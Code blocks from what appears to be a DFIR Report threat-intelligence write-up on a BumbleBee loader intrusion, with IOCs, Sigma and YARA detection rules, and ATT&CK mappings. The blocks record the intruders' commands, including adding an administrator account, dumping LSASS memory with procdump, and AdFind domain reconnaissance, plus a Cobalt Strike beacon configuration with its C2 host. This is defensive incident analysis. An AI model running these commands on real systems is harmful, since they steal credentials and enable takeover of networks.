```
net user /dom          /domain
```

```
"C:\Windows\System32\rundll32.exe" tamirlan.dll,EdHVntqdWt
```

`documents.lnk`

`tamirlan.dll`

```
C:\Windows\System32\rundll32.exe tamirlan.dll,EdHVntqdWt
```

`documents.lnk`

```
>> Tracker database block
   Machine ID: user-pc
```

```
    MAC Address: 9a:5b:d6:3e:47:ec
    MAC Vendor: (Unknown vendor)
    Creation: <REDACTED DATE>
```

rundll32.exe	154.56.0.221

```
C:\Program Files\Windows Mail\wabmig.exe
C:\Program Files\Windows Mail\wab.exe
C:\Program Files\Windows Photo Viewer\ImagingDevices.exe
```

C:\Program Files\Windows Photo Viewer\ImagingDevices.exe

rundll32.exe

3.85.198.66 cmd.exe

C:\Program Files\Windows Mail\wabmig.exe

50.16.62.87 45.153.243.142,

```
C:\Windows\System32\cmd.exe
  → net  user sql_admin P@ssw0rd! /add
  → net  localgroup Administrators sql_admin /ADD
```

-

-

```
\postex_515f
\postex_7c7b
```

```
C:\programdata\procdump64.exe -accepteula -ma lsass.exe
C:\programdata\lsass.dmp
```

```
C:\Program Files\Windows Mail\wabmig.exe
  → C:\Windows\system32\cmd.exe /C ipconfig /all
  → C:\Windows\system32\cmd.exe /C ping -n 1 <REDACTED_DOMAIN_NAME>
  → C:\Windows\system32\cmd.exe /C nltest /dclist:
  → C:\Windows\system32\cmd.exe /C nltest /domain_trusts
  → C:\Windows\system32\cmd.exe /C net group "domain admins" /domain
  → C:\Windows\system32\cmd.exe /C tasklist /v /s <REDACTED_IP>
```

```
C:\Program Files\Windows Mail\wabmig.exe
  → C:\Windows\system32\cmd.exe /C af.exe -f "(objectcategory=person)" >
ad_users.txt
  → C:\Windows\system32\cmd.exe /C af.exe -f "objectcategory=computer" >
ad_computers.txt
  → C:\Windows\system32\cmd.exe /C af.exe -f "
(objectcategory=organizationalUnit)" > ad_ous.txt
  → C:\Windows\system32\cmd.exe /C af.exe -sc trustdmp > trustdmp.txt
  → C:\Windows\system32\cmd.exe /C af.exe -subnets -f
(objectCategory=subnet) > subnets.txt
  → C:\Windows\system32\cmd.exe /C af.exe -f "(objectcategory=group)" >
ad_group.txt
  → C:\Windows\system32\cmd.exe /C af.exe -gcb -sc trustdmp >
trustdmp.txt
```

```
C:\Program Files\Windows Mail\wabmig.exe
  → C:\Windows\system32\cmd.exe /C copy \\
<REMOTE_WORKSTATION>\C$\ProgramData\lsass.dmp c:\programdata\lsass.dmp
  → C:\Windows\system32\cmd.exe /C 7za.exe a -tzip -mx5
c:\programdata\lsass.zip c:\programdata\lsass.dmp
```

```
154.56.0.221:443
64.44.101.250:443

JA3: c12f54a3f91dc7bafd92cb59fe009a35
JA3s: 76c691f46143bf86e2d1bb73c6187767

Certificate:
[ac:18:a0:22:b2:ef:65:c8:85:5e:1f:eb:f5:35:23:28:89:3a:5d:f9]
Not Before: 2022/05/19 07:40:24 UTC
Not After: 2023/05/19 07:40:24 UTC
Issuer Org: Internet Widgits Pty Ltd
Subject Org: Internet Widgits Pty Ltd
Public Algorithm: rsaEncryption

Certificate:
[0f:a6:76:b0:de:4c:f6:5e:a8:35:60:94:60:69:2c:2c:9c:cb:11:5c]
Not Before: 2022/05/19 07:48:30 UTC
Not After: 2023/05/19 07:48:30 UTC
Issuer Org: Internet Widgits Pty Ltd
Subject Org: Internet Widgits Pty Ltd
Public Algorithm: rsaEncryptiion
```

```
ec2-3-85-198-66.compute-1.amazonaws.com
3.85.198.66:443

JA3: ce5f3254611a8c095a3d821d44539877
JA3s: ec74a5c51106f0419184d0dd08fb05bc

Certificate: [e5:a3:1d:28:ee:34:4f:9d:99:b8:a9:6e:b4:a9:d0:1f:63:43:3c:ac
]
Not Before: 2021/05/03 23:37:39 UTC
Not After: 2027/05/02 23:37:39 UTC
Issuer Org: Stracke, Lakin and Windler
Subject Common: stracke.lakin.windler.net
Subject Org: Stracke, Lakin and Windler
Public Algorithm: rsaEncryption

Certificate: [84:38:01:51:ba:46:74:89:b3:2a:67:57:b7:a1:4a:5b:49:4a:b9:03
]
Not Before: 2020/03/19 06:49:58 UTC
Not After: 2026/03/18 06:49:58 UTC
Issuer Org: Reilly-Carroll
Subject Common: reilly.carroll.com
Subject Org: Reilly-Carroll
Public Algorithm: rsaEncryption

ec2-50-16-62-87.compute-1.amazonaws.com
50.16.62.87:443

JA3: ce5f3254611a8c095a3d821d44539877
JA3s: ec74a5c51106f0419184d0dd08fb05bc


Certificate:
[6c:0e:6d:6e:d8:06:92:c6:9a:13:2a:ee:d7:8c:9d:15:63:5e:e9:f2]
Not Before: 2020/09/03 16:14:07 UTC
Not After: 2024/09/02 16:14:07 UTC
```

```
Issuer Org: Jerde-Kreiger
Subject Common: jerde.kreiger.info
Subject Org: Jerde-Kreiger
Public Algorithm: rsaEncryption
```

```
https://fuvataren.com
45.153.243.142:443

JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3s: ae4edc6faf64d08308082ad26be60767

Certificate:
[6c:54:cc:ce:ca:da:8b:d3:12:98:13:d5:85:52:81:8a:9d:74:4f:fb]
Not Before: 2022/04/15 00:00:00 UTC
Not After: 2023/04/15 23:59:59 UTC
Issuer Org: Sectigo Limited
Subject Common: fuvataren.com [fuvataren.com ,www.fuvataren.com]
Public Algorithm: rsaEncryption
```

```
{
  "beacontype": [
    "HTTPS"
  ],
  "sleeptime": 5000,
  "jitter": 24,
  "maxgetsize": 1398708,
    "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
    "license_id": 1580103814,
    "cfg_caution": false,
    "kill_date": null,
    "server": {
      "hostname": "fuvataren.com",
      "port": 443,
      "publickey":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmU
XmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN
4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
    },
    "host_header": "",
    "useragent_header": null,
    "http-get": {
      "uri": "/rs.js",
      "verb": "GET",
      "client": {
        "headers": null,
        "metadata": null
      },
      "server": {
        "output": [
          "print",
          "prepend 600 characters",
          "base64",
          "mask"
        ]
      }
    },
    "http-post": {
      "uri": "/en",
      "verb": "POST",
      "client": {
        "headers": null,
        "id": null,
      "output": null
    }
  },
  "tcp_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "crypto_scheme": 0,
  "proxy": {
    "type": null,
    "username": null,
    "password": null,
    "behavior": "Use IE settings"
  },
  "http_post_chunk": 0,
  "uses_cookies": true,
  "post-ex": {
    "spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
    "spawnto_x64": "%windir%\\sysnative\\rundll32.exe"
  },
  "process-inject": {
    "allocator": "VirtualAllocEx",
    "execute": [
      "CreateThread",
      "CreateRemoteThread",
      "RtlCreateUserThread"
    ],
    "min_alloc": 11977,
    "startrwx": false,
    "stub": "tUr+Aexqde3zXhpE+L05KQ==",
    "transform-x86": [
      "prepend '\\x90\\x90\\x90\\x90\\x90\\x90'"
    ],
    "transform-x64": [
      "prepend '\\x90\\x90\\x90\\x90\\x90\\x90'"
    ],
    "userwx": false
  },
  "dns-beacon": {
    "dns_idle": null,
    "dns_sleep": null,
    "maxdns": null,
    "beacon": null,
    "get_A": null,
    "get_AAAA": null,
    "get_TXT": null,
    "put_metadata": null,
    "put_output": null
  },
  "pipename": null,
  "smb_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "stage": {
    "cleanup": true
  },
  "ssh": {
    "hostname": null,
    "port": null,
    "username": null,
    "password": null,
    "privatekey": null
  }
}
```

```
info REDACTED 19:07:21.173 gsvc 1160 408 24 anynet.any_socket - Logged in fr
info REDACTED 19:27:45.255 gsvc 1160 408 41 anynet.any_socket - Logged in fr
```

```
info REDACTED 18:56:00.723 lsvc 5924 5928 2 anynet.connection_mgr - New user
```

```
BumbleBee
154.56.0.221:443
64.44.101.250:443
103.175.16.117:443

Cobalt Strike
https://fuvataren.com
45.153.243.142:443
```

```
Meterpreter
50.16.62.87:443
3.85.198.66:443
```

```
document.iso
f4235fde77119ac772a2730d55c49c54
a250adaf3d5a5c2cd4d5ad4390e4cecbe00b3dd7
11bce4f2dcdc2c1992fddefb109e3ddad384b5171786a1daaddadc83be25f355

documents.lnk
fe0a99334486dcd2fcb6ec7a79163524
7aca51b571005c5d1be54fb8a056c33160abbf8d
cadd3f05b496ef137566c90c8fee3905ff13e8bda086b2f0d3cf7512092b541c

tamirlan.dll
69f1eeb7d5d466a2d53c8b7e3a929e9c
a27f6f5cc0051f4c4deed6ee14d5110c7807545f
123f96ff0a583d507439f79033ba4f5aa28cf43c5f2c093ac2445aaebdcfd31b
```

```
The threat actor delivers the BumbleBee loader in the form of a DLL
(tamirlan.dll) via an ISO file named document.iso and tricks a user into
executing it via an LNK (document.lnk).

The threat actor dumps lsass using procdump and copies it over an admin
share before using 7zip to zip it.

BumbleBee is used to load both Meterpreter and Cobalt Strike into memory
and communicate with the C2 server.
```

```
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET POLICY SMB Executable File Transfer
```

```
title: BumbleBee WmiPrvSE execution pattern
id: 1620db43-fde5-45f3-b4d9-45ca6e79e047
status: Experimental
description: Detects BumbleBee WmiPrvSE parent process manipulation
author:  TheDFIRReport
references:
  - https://thedfirreport.com/
date: 2022/09/26
logsource:
  category: process_creation
  product: windows
detection:
  selection_image:
    Image|endswith:
      - 'ImagingDevices.exe'
      - 'wabmig.exe'
  selection_parent:
    ParentImage:endswith:
      - 'WmiPrvSE.exe'
  condition: selection_image and selection_parent
falsepositives:
  - Unknown
level: high
tags:
  - attack.defense_evasion
  - attack.t1036
```

```
/*
   YARA Rule Set
   Author: The DFIR Report
   Date: 2022-09-26
   Identifier: Case 14373 BumbleBee
   Reference: https://thedfirreport.com/
*/
```

```
/* Rule Set -------------------------------------------------------------
---- */


rule case_14373_bumblebee_document_iso {
   meta:
      description = "Files - file document.iso"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com/"
      date = "2022-09-26"
      hash1 =
"11bce4f2dcdc2c1992fddefb109e3ddad384b5171786a1daaddadc83be25f355"
   strings:
      $x1 =
"tamirlan.dll,EdHVntqdWt\"%systemroot%\\system32\\imageres.dll" fullword
wide
      $s2 = "C:\\Windows\\System32\\rundll32.exe" fullword ascii
      $s3 = "xotgug064ka8.dll" fullword ascii
      $s4 = "tamirlan.dll" fullword wide
      $s5 = ")..\\..\\..\\..\\Windows\\System32\\rundll32.exe" fullword
wide
      $s6 = "        <requestedExecutionLevel level='asInvoker'
uiAccess='false' />" fullword ascii
      $s7 = "claims indebted fires plastic naturalist deduction
meaningless yielded automatic wrote damage far use fairly allocation
lever ne" ascii
      $s8 = "documents.lnk" fullword wide
      $s9 = "4System32" fullword wide
      $s10 =
"\\_P^YVPX[SY]WT^^RQ_V[YQV\\Y]USUZV[XWT_SWT[UYURVVRVR^^[__XRQPPUXZWYYVU]V
\\[TS[SSWWVY_R_Y[XZ_W[VVS\\]ZYSPYURUSP\\U^P^^S\\QVRQXPTV" ascii
      $s11 =
"\\_P^YVPX[SY]WT^^RQ_V[YQV\\Y]USUZV[XWT_SWT[UYURVVRVR^^[__XRQPPUXZWYYVU]V
\\[TS[SSWWVY_R_Y[XZ_W[VVS\\]ZYSPYURUSP\\U^P^^S\\QVRQXPTV" ascii
      $s12 = " Type Descriptor'" fullword ascii
      $s13 =
"YP^WTS]V[WPTWR_\\P[]WX_SPYQ[SQ]]UWTU]QR\\UQR]]\\\\^]UZUX\\X^U]P_^S[ZY^R^
]UXWZURR\\]X[^TX\\S\\SWV_[YXP_[^^\\WW\\]]]PU_YZ\\]SVPQX[" ascii
      $s14 = "494[/D59:" fullword ascii /* hex encoded string 'IMY' */
      $s15 =
"_ZQ\\V\\TW]P\\YW^_PZT_TR[T_WVQUSQPVSPYRSWPS^WVQR_[T_PS[]TT]RSSQV_[_Q]UY\
\\\QPVQRXXPPR^_VSZRRRSWXTUV^PRQQXPSWPSWSYWWV^YR_Z]PWRP]^" ascii
      $s16 = "?+7,*6@24" fullword ascii /* hex encoded string 'v$' */
      $s17 = "67?.68@6.3=" fullword ascii /* hex encoded string 'ghc' */
      $s18 = "*;+273++C" fullword ascii /* hex encoded string ''<' */
      $s19 = "*:>?2-:E?@>5D+" fullword ascii /* hex encoded string '.]'
*/
      $s20 =
"UPVX]VWVQU[_^ZU[_W^[R^]SPQ[[VPRR]]Z[\\XVU^_TR[YPR\\PY]RXT[_RXSPYSWTU]PV_
SWWUVU\\R_X_U_V[__UW[\\^YU[WTUXSURQ]QSUPTXVXZV]WRP[_XW]" fullword ascii
   condition:
      uint16(0) == 0x0000 and filesize < 8000KB and
      1 of ($x*) and 4 of them
}


rule case_14373_bumblebee_tamirlan_dll {
   meta:
      description = "Files - file tamirlan.dll"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com/"
      date = "2022-09-26"
      hash1 =
"123f96ff0a583d507439f79033ba4f5aa28cf43c5f2c093ac2445aaebdcfd31b"
   strings:
      $s1 = "xotgug064ka8.dll" fullword ascii
      $s2 = "        <requestedExecutionLevel level='asInvoker'
uiAccess='false' />" fullword ascii
      $s3 = "claims indebted fires plastic naturalist deduction
meaningless yielded automatic wrote damage far use fairly allocation
lever ne" ascii
      $s4 =
"\\_P^YVPX[SY]WT^^RQ_V[YQV\\Y]USUZV[XWT_SWT[UYURVVRVR^^[__XRQPPUXZWYYVU]V
```

```
\\[TS[SSWWVY_R_Y[XZ_W[VVS\\]ZYSPYURUSP\\U^P^^S\\QVRQXPTV" ascii
      $s5 =
"\\_P^YVPX[SY]WT^^RQ_V[YQV\\Y]USUZV[XWT_SWT[UYURVVRVR^^[__XRQPPUXZWYYVU]V
\\[TS[SSWWVY_R_Y[XZ_W[VVS\\]ZYSPYURUSP\\U^P^^S\\QVRQXPTV" ascii
      $s6 = " Type Descriptor'" fullword ascii
      $s7 =
"YP^WTS]V[WPTWR_\\P[]WX_SPYQ[SQ]]UWTU]QR\\UQR]]\\\\^]UZUX\\X^U]P_^S[ZY^R^
]UXWZURR\\]X[^TX\\S\\SWV_[YXP_[^^\\WW\\]]]PU_YZ\\]SVPQX[" ascii
      $s8 = "494[/D59:" fullword ascii /* hex encoded string 'IMY' */
      $s9 =
"_ZQ\\V\\TW]P\\YW^_PZT_TR[T_WVQUSQPVSPYRSWPS^WVQR_[T_PS[]TT]RSSQV_[_Q]UY\
\\\QPVQRXXPPR^_VSZRRRSWXTUV^PRQQXPSWPSWSYWWV^YR_Z]PWRP]^" ascii
      $s10 = "?+7,*6@24" fullword ascii /* hex encoded string 'v$' */
      $s11 = "67?.68@6.3=" fullword ascii /* hex encoded string 'ghc' */
      $s12 = "*;+273++C" fullword ascii /* hex encoded string ''<' */
      $s13 = "*:>?2-:E?@>5D+" fullword ascii /* hex encoded string '.]'
*/
      $s14 =
"UPVX]VWVQU[_^ZU[_W^[R^]SPQ[[VPRR]]Z[\\XVU^_TR[YPR\\PY]RXT[_RXSPYSWTU]PV_
SWWUVU\\R_X_U_V[__UW[\\^YU[WTUXSURQ]QSUPTXVXZV]WRP[_XW]" fullword ascii
      $s15 =
"YX\\^SPP^XW_^^_Y]ZY[T_UQU_QXP[SV^RT_ZRPV\\YVVYPVR^UP^QYQXV^\\]]T_SQQR_ZS
QZT_Y^^_]Z]QYW\\Z_T_VRTWQZPS\\X\\_]W]PTTSP\\[]WVSRR\\Q]Q" ascii
      $s16 = "Z_VV\\PSYWUT_Z\\WQSPY\\ZZ\\PY]W]
[RW^\\^ZPUZV[WZ\\QU_V[YU\\X[Q__\\YQQPZ[VR\\QUZUQVQ^PUPUXWQ_ZTRTZU[T^QUZ[U
ZRVYV\\^WRY_SR_YUUY_[]S" ascii
      $s17 = "R_XUSP^T[RVXUR_\\VU\\Y[YWV\\WYXV\\SQ_RU]
[R\\ZTU\\PWYQ[ZSRTQUZ]\\WSPY\\P[_]TX]YZPTSSZ[VXW[YT\\W\\Z[SXRYZYQ^PR^VZVU
^VRV][RR]S\\V__" ascii
      $s18 = "Z_VV\\PSYWUT_Z\\WQSPY\\ZZ\\PY]W]
[RW^\\^ZPUZV[WZ\\QU_V[YU\\X[Q__\\YQQPZ[VR\\QUZUQVQ^PUPUXWQ_ZTRTZU[T^QUZ[U
ZRVYV\\^WRY_SR_YUUY_[]S" ascii
      $s19 =
"PQP]^__\\ZZUSZYT_^S_SPPV]\\XPT_TPQU\\VWZQYZPZ^]]SW]R^[WYP]^[[R_RTSPYW^WU
^QVPZ" fullword ascii
      $s20 =
"Y]_QU\\ZQQSXRX[SPYVRWXU^P[VSSWUR]]PSWV\\X]Y[PX_UZ_PPP[WQVXY^^]^RRSPZ]^XW
V^]" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 3000KB and
      8 of them
}


rule case_14373_bumblebee_documents_lnk {
   meta:
      description = "Files - file documents.lnk"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com/"
      date = "2022-09-26"
      hash1 =
"cadd3f05b496ef137566c90c8fee3905ff13e8bda086b2f0d3cf7512092b541c"
   strings:
      $x1 =
"tamirlan.dll,EdHVntqdWt\"%systemroot%\\system32\\imageres.dll" fullword
wide
      $s2 = "C:\\Windows\\System32\\rundll32.exe" fullword ascii
      $s3 = ")..\\..\\..\\..\\Windows\\System32\\rundll32.exe" fullword
wide
      $s4 = "4System32" fullword wide
      $s5 = "user-pc" fullword ascii
      $s6 = "}Windows" fullword wide
   condition:
      uint16(0) == 0x004c and filesize < 4KB and
      1 of ($x*) and all of them
}
```

```
Mark-of-the-Web Bypass - T1553.005
User Execution - T1204
```

```
Rundll32 - T1218.011
Masquerading - T1036
Local Account - T1136.001
LSASS Memory - T1003.001
Archive via Utility - T1560.001
Archive Collected Data - T1560
Service Execution - T1569.002
Process Discovery - T1057
System Network Configuration Discovery - T1016
Domain Trust Discovery - T1482
Domain Groups - T1069.002
SMB/Windows Admin Shares - T1021.002
Lateral Tool Transfer - T1570
Remote Desktop Protocol - T1021.001
Web Protocols - T1071.001
Remote Access Software - T1219
Process Injection - T1055
```

Twitter LinkedIn Reddit Facebook WhatsApp